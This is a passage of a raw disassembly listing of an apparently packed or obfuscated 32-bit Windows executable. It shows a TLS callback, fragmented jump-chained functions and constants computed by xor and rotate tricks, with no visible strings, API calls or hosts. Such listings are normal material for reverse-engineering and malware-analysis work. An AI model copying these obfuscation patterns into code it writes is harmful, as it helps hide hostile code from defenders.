CHUNK AT 00429E0D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429E55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F3E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A167 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042A1BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A43D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042A5A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A9B1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042ACA7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B4E8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042BD93 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0042C16D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042C66B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D260 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042D3BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D473 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D5E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DC1B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042DC4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E518 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EE43 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F2F9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F49C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042F553 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F6EF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F925 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042FB48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FD52 SIZE 00000005 BYTES xchg eax, [esp+14h+var_14] pop eax cmp dword ptr [eax], 4742444Fh jz loc_4265DB loc_426545: ; CODE XREF: sub_42DEFF:loc_42B03Dj ; sub_42DEFF-17B7j ... js loc_4283BD cmp dword ptr [ebp-4], 3 jnz loc_42C172 jmp loc_42F2F9 sub_426535 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42655A proc near ; DATA XREF: sub_42873E+Do var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427792 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429A3C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429EAB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042AE2C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042C26D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D160 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DBD2 SIZE 00000005 BYTES mov byte ptr [ebp-1], 0 mov eax, cs xor al, al or eax, eax jnz loc_42AE2C jmp loc_42D160 sub_42655A endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp dword ptr [ebp-0Ch], 0 jz loc_42E061 mov eax, [ebp-0Ch] push eax push ecx push 7AD8E3DFh jmp loc_42A7BF ; --------------------------------------------------------------------------- loc_426588: ; CODE XREF: wto1jq8f:00428780j xchg edx, esi ; =============== S U B R O U T I N E ======================================= sub_42658A proc near ; CODE XREF: sub_4266B1+890Fp ; FUNCTION CHUNK AT 004250CA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425A36 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429DC5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B772 SIZE 00000016 BYTES mov [esp+0], ebx pop ebx push 0 push 10h push 8B297A09h pop eax jmp loc_429DC5 sub_42658A endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42659E: ; CODE XREF: wto1jq8f:0042EF64j jmp loc_42991A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_4265A4: ; CODE XREF: sub_42B02D+27EAj jmp loc_429B66 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_4265A9: ; CODE XREF: sub_42EFB5-2C1Dj jmp loc_42D692 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBC7 loc_4265AE: ; CODE XREF: sub_42FBC7-3A83j jle loc_42941B and ebx, 749EE4B2h loc_4265BA: ; CODE XREF: sub_42FBC7:loc_426E25j push edi mov [esp+4+var_4], edx push 9CE37B19h pop edx add edx, 91184412h jmp loc_42678D ; END OF FUNCTION CHUNK FOR sub_42FBC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_4265CF: ; CODE XREF: sub_42E9E8:loc_42EB99j call sub_424907 mov edi, ebx jmp loc_428E80 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4265DB: ; CODE XREF: sub_426535-14D1j ; sub_426535+Aj ... jno loc_425A8C push 0 push 0 push 61CC94BDh xor dword ptr [esp+0], 61CC94ADh mov eax, [ebp+8] push eax jmp sub_429318 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_4265FA: ; CODE XREF: wto1jq8f:0042D8A4j jb loc_42E1EF pushf ; =============== S U B R O U T I N E ======================================= sub_426601 proc near ; CODE XREF: wto1jq8f:0042BDF6p mov [esp+0], edi sub_426601 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_426604: ; CODE XREF: TlsCallback_0+1B92j pop edi xchg ebp, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42660A: ; CODE XREF: wto1jq8f:0042F428j jmp loc_42C8A6 ; =============== S U B R O U T I N E ======================================= sub_42660F proc near ; CODE XREF: sub_429E5B:loc_424F18p ; sub_42F987-52DBj ... ; FUNCTION CHUNK AT 00425EE9 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 004264C0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042D5E9 SIZE 00000005 BYTES push ebp jmp loc_42D5E9 sub_42660F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_426615: ; CODE XREF: sub_429471-4608j jns loc_424CE3 loc_42661B: ; CODE XREF: sub_429471:loc_42DAC5j push edx push 2ADB72EEh pop edx xor edx, ds:4000FAh jmp loc_4268AA ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- pop edx sub ebp, ecx jmp sub_42903A ; --------------------------------------------------------------------------- loc_426635: ; CODE XREF: wto1jq8f:loc_42AF6Ej pop eax pop edi loc_426637: ; CODE XREF: wto1jq8f:00428153j xor eax, ecx jnz loc_429C31 jmp loc_42CBC6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426645: ; CODE XREF: wto1jq8f:0042AB2Aj jnb loc_429C5F loc_42664B: ; CODE XREF: wto1jq8f:loc_424EA8j call sub_42ED32 test eax, eax jz loc_42EF2E push esi call sub_42DF3B loc_42665E: ; CODE XREF: wto1jq8f:0042AA3Fj jmp sub_425ACB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_426663: ; CODE XREF: sub_42727F:loc_42EAB0j cmp ebx, 0ED3A1076h jmp loc_42DB7B ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- loc_42666E: ; DATA XREF: sub_42885C+6o or eax, eax jnz loc_42BC8F push ebp push esi jmp loc_42B836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42667D: ; CODE XREF: sub_42D434+15Cj cmp byte ptr [eax], 0 jnz loc_42F001 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp jmp loc_42724C ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- loc_426693: ; CODE XREF: wto1jq8f:loc_42FA89j jz loc_427CDE jmp loc_42806D ; =============== S U B R O U T I N E ======================================= sub_42669E proc near ; CODE XREF: wto1jq8f:0042BEEAj ; wto1jq8f:loc_42E4C0p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426133 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426706 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00428A9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E88E SIZE 0000001C BYTES mov [esp+0], eax pop eax xchg esi, [esp-4+arg_0] push edx push 5B8EDFAEh pop edx jmp loc_428A9F sub_42669E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266B1 proc near ; CODE XREF: sub_42C486:loc_42F839p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004259AE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425C9C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425CF5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042709B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428730 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428B74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F32 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00429BEC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042A64D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AB18 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042ABA0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B1FA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B285 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C0CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C470 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C7A4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042E1CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E5EC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042EFBE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042FD66 SIZE 00000018 BYTES mov [esp+0], eax call sub_42B02D mov ds:dword_42D5CC, eax cmp ds:dword_42D5CC, 0 jmp loc_42709B sub_4266B1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266CA proc near ; CODE XREF: wto1jq8f:00429021j ; DATA XREF: wto1jq8f:00424315o arg_8 = dword ptr 0Ch push ecx mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h lea eax, loc_42F33C push offset loc_42F332 jmp nullsub_207 sub_4266CA endp ; --------------------------------------------------------------------------- db 0E8h, 0D6h, 65h dd 0E1E90000h db 0C5h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_4266EF proc near ; CODE XREF: wto1jq8f:loc_42995Fj ; TlsCallback_0+21D2p ... var_44 = dword ptr -44h ; FUNCTION CHUNK AT 0042BEC6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C6AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E1A2 SIZE 00000011 BYTES jno sub_425AAA push ebp loc_4266F6: ; CODE XREF: wto1jq8f:0042C7F6j mov ebp, esp add esp, 0FFFFFFCCh lea eax, sub_4266EF jmp loc_42E1A2 sub_4266EF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_426706: ; CODE XREF: sub_42669E-55Fj ; sub_42669E:loc_42E89Fj mov ecx, [ebp-1Ch] push edx call sub_42F745 ; END OF FUNCTION CHUNK FOR sub_42669E ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42670F: ; CODE XREF: sub_429B76:loc_42F175j jmp loc_42D778 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_426714: ; CODE XREF: sub_427A8D-369Dj jmp loc_42E92E ; END OF FUNCTION CHUNK FOR sub_427A8D ; =============== S U B R O U T I N E ======================================= sub_426719 proc near ; CODE XREF: sub_426E98+3Fp ; FUNCTION CHUNK AT 00425FA6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B97A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F37E SIZE 00000005 BYTES xchg eax, [esp+0] mov eax, [esp+0] push 40h lea eax, [ebp-64h] push eax push 400000h jmp loc_42F37E sub_426719 endp ; --------------------------------------------------------------------------- loc_42672F: ; CODE XREF: wto1jq8f:loc_42C851j ; wto1jq8f:0042D27Ej test ebx, 81BB3D31h jmp loc_42B319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42673A: ; CODE XREF: sub_42AECE:loc_42D4B5j mov esp, ebp pop ebp mov eax, ds:dword_42E524 or eax, eax jnz loc_428D0B jmp loc_42FACA ; END OF FUNCTION CHUNK FOR sub_42AECE ; =============== S U B R O U T I N E ======================================= sub_426750 proc near ; DATA XREF: sub_424BD4+2D6Ao mov [edx-8], eax jmp loc_42AC2F sub_426750 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_426758: ; CODE XREF: sub_424BD4+3994j cmp dword ptr [ebp-10h], 2 jnz loc_42AC2F mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_427041 ; END OF FUNCTION CHUNK FOR sub_424BD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42676E: ; CODE XREF: sub_42D9D9-3C3Fj ; sub_42D9D9+18j cmp dword ptr [ebp-1Ch], 67h jnz loc_42699F jmp loc_4280BA ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42677D: ; CODE XREF: sub_426535+6D42j rol esi, 1 add esi, 3F005094h xchg esi, [esp+1Ch+var_1C] jmp loc_426FF5 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBC7 loc_42678D: ; CODE XREF: sub_42FBC7-95FDj add edx, ebp call sub_429308 loc_426794: ; CODE XREF: wto1jq8f:0042C5F1j ; wto1jq8f:loc_42FF95j sbb eax, ecx jmp loc_427C02 ; END OF FUNCTION CHUNK FOR sub_42FBC7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_42679C: ; CODE XREF: sub_42F614-A850j jmp loc_424491 ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- jnb loc_428FF1 add esi, eax jmp sub_42C4CF ; =============== S U B R O U T I N E ======================================= sub_4267AE proc near ; CODE XREF: wto1jq8f:0042C010j ; wto1jq8f:0042D6F4p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425A78 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C6B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042B090 SIZE 00000006 BYTES mov [esp+0], edx pop edx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_424183 jmp loc_425A78 sub_4267AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_4267C4: ; CODE XREF: sub_42F50F-7AC7j ; wto1jq8f:0042CB31j ... mov eax, [ebp-0Ch] mov esp, ebp xchg eax, [esp+0] mov ebp, eax jmp loc_42A0FB ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_4267D3: ; CODE XREF: sub_42ED01:loc_42D0D3j and ecx, ebx sbb eax, edx call sub_42F9CA loc_4267DC: ; CODE XREF: wto1jq8f:0042FDCFj jmp sub_428C71 ; END OF FUNCTION CHUNK FOR sub_42ED01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F072 loc_4267E1: ; CODE XREF: sub_42F072+Bj jmp loc_427986 ; END OF FUNCTION CHUNK FOR sub_42F072 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_4267E6: ; CODE XREF: sub_42CB36-8467j rol ebp, 0Bh loc_4267E9: ; CODE XREF: sub_42E9E8:loc_42F5B8j lea eax, [ebp-2AAh] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_42FB6C ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- loc_426800: ; CODE XREF: wto1jq8f:0042BEE1j jno loc_42B2AC ; =============== S U B R O U T I N E ======================================= sub_426806 proc near ; CODE XREF: wto1jq8f:0042BBFDp ; FUNCTION CHUNK AT 00424EBE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425933 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E30 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427997 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042EE90 SIZE 00000019 BYTES xchg edi, [esp+0] pop edi mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] jmp loc_425933 sub_426806 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426818: ; CODE XREF: wto1jq8f:loc_42CC24j cmp dword ptr [ebp-1Ch], 0Fh jmp loc_427456 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_426821: ; CODE XREF: sub_42F2C7:loc_425FB9j jno loc_42752D xor edi, 8D0DD2A6h jmp loc_42EBF4 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- mov edi, 6DE295FBh xor esi, 5523EB52h jmp loc_42F305 ; =============== S U B R O U T I N E ======================================= sub_426842 proc near ; CODE XREF: sub_42750A-1D3j ; FUNCTION CHUNK AT 00429700 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00429EE5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C71D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042FF2F SIZE 00000012 BYTES push ebx js loc_42C71D sub_426842 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42750A loc_426849: ; CODE XREF: sub_42750A:loc_427CF5j call sub_424585 push 6CA2BEBDh pop edx sub edx, 79F1AC7h xor edx, 0B0077473h jmp loc_4246A4 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- jb loc_42EC03 jmp sub_42B63C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_426870: ; CODE XREF: sub_42506F+A2A5j add eax, ebp add eax, 461F74B4h push eax mov eax, [ebp-8] jmp loc_42B7AD ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- loc_426881: ; DATA XREF: sub_42DE65:loc_42BA12o mov eax, [ebp-4] movzx eax, byte ptr [eax] cmp ds:dword_425108[eax*4], 0 jz loc_42A4DF ; START OF FUNCTION CHUNK FOR sub_426535 loc_426895: ; CODE XREF: sub_426535:loc_42432Aj jmp loc_428D94 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42689A proc near ; CODE XREF: wto1jq8f:00427BCAj ; wto1jq8f:0042FD48p ; FUNCTION CHUNK AT 00424538 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427CC9 SIZE 0000000A BYTES mov [esp+0], edi pop edi mov ecx, 3F5h xor edx, edx jmp loc_424538 sub_42689A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_4268AA: ; CODE XREF: sub_429471-2E49j test edx, 4 jmp loc_424881 ; END OF FUNCTION CHUNK FOR sub_429471 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EADC loc_4268B6: ; CODE XREF: sub_42EADC+17Dj jmp nullsub_155 ; END OF FUNCTION CHUNK FOR sub_42EADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_4268BB: ; CODE XREF: sub_426313+7944j jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_426313 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_4268C1: ; CODE XREF: sub_424BF9+2A0Fj jmp loc_42C114 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- loc_4268C6: ; CODE XREF: wto1jq8f:loc_42BF30j push 8BBDD8Bh pop esi rol esi, 0Ah cmp esi, 0A68E41Eh jmp loc_424241 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_4268DA: ; CODE XREF: sub_42750A:loc_4246A4j call sub_429165 push 0EBCD2075h mov [esp+4+var_4], eax rol eax, 6 mov ds:dword_429578, eax retn ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4268F1: ; CODE XREF: sub_42750A+23CCj ; sub_426535+5886j ror eax, 6 push eax jmp loc_429570 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- push 5B8D1A61h mov edx, offset loc_426908 xchg edx, [esp] retn ; --------------------------------------------------------------------------- loc_426908: ; DATA XREF: wto1jq8f:004268FFo sub edx, 68EF4F45h add edx, 9A969FDFh jmp loc_427E1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424232 loc_426919: ; CODE XREF: sub_424232:loc_42D5F4j mov eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_424232 ; START OF FUNCTION CHUNK FOR sub_424702 loc_42691C: ; CODE XREF: sub_424702+Dj inc eax mov eax, [eax] add eax, [ebp-4] add eax, 5 cmp eax, ds:dword_42A73C jmp loc_42A945 ; END OF FUNCTION CHUNK FOR sub_424702 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_426931: ; CODE XREF: sub_42FAE4-B148j ; sub_42E9E8-5204j jmp loc_425C4D ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF89 loc_426936: ; CODE XREF: sub_42CF89-8846j jmp nullsub_184 ; END OF FUNCTION CHUNK FOR sub_42CF89 ; =============== S U B R O U T I N E ======================================= sub_42693B proc near ; CODE XREF: wto1jq8f:loc_42BFF5j ; sub_42A88D+4DEEp mov [esp+0], eax pop eax pop ebx retn sub_42693B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_426941: ; CODE XREF: sub_428AC6+44E8j jmp loc_42BFFA ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_426946: ; CODE XREF: sub_424406+Cj jmp loc_4291F5 ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424309 loc_42694B: ; CODE XREF: sub_424309+7j jmp loc_424DB7 ; END OF FUNCTION CHUNK FOR sub_424309 ; =============== S U B R O U T I N E ======================================= sub_426950 proc near ; CODE XREF: sub_42596Fj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004248CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004263E7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427D8B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004281A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428484 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004296E9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A5F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AD8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B69D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BB0D SIZE 00000005 BYTES push ebp jmp loc_4296E9 sub_426950 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_426956: ; CODE XREF: sub_42A197:loc_426E93j ; wto1jq8f:00427D2Bj mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_4260F3 jmp loc_42AA89 ; END OF FUNCTION CHUNK FOR sub_42A197 ; =============== S U B R O U T I N E ======================================= sub_426968 proc near ; CODE XREF: sub_42B12A+Dp ; wto1jq8f:0042C718j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424BC5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424D53 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424EC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424ED3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00424FD1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426121 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004264A3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004264CE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004264EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B0A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426DC5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427383 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004275CC SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0042779D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427D52 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D9C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004280CC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428B9A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428C1B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042958D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004295FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429792 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429EE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB09 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AC2F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042B141 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B50C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042B5AF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042B7DC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C538 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CC0F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D855 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042DF1A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042DFB1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042E20D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E3EA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042E910 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042ED27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EDAE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FB2A SIZE 00000005 BYTES xchg ecx, [esp+4+var_4] pop ecx and eax, 7 mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 jnz loc_42AC2F cmp dword ptr [ebp-0Ch], 5 jmp loc_4295FE sub_426968 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_426985: ; CODE XREF: sub_4272F3+2E6Fj mov eax, [eax+68h] push ecx push 7F84C7A9h pop ecx jmp loc_425A1B ; END OF FUNCTION CHUNK FOR sub_4272F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_426994: ; CODE XREF: sub_42D9D9:loc_424B66j mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax loc_42699F: ; CODE XREF: sub_42D9D9-7267j ; sub_42D9D9-3C48j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] jmp loc_426E8E ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- loc_4269AA: ; CODE XREF: wto1jq8f:0042603Ej js loc_42E63A and ebp, edi loc_4269B2: ; CODE XREF: wto1jq8f:loc_42602Aj add eax, 0B7E3BF3Dh xchg eax, [esp] jmp loc_42D4DA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_4269C1: ; CODE XREF: sub_429B76-7D7j jmp sub_42CB36 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_4269C6: ; CODE XREF: 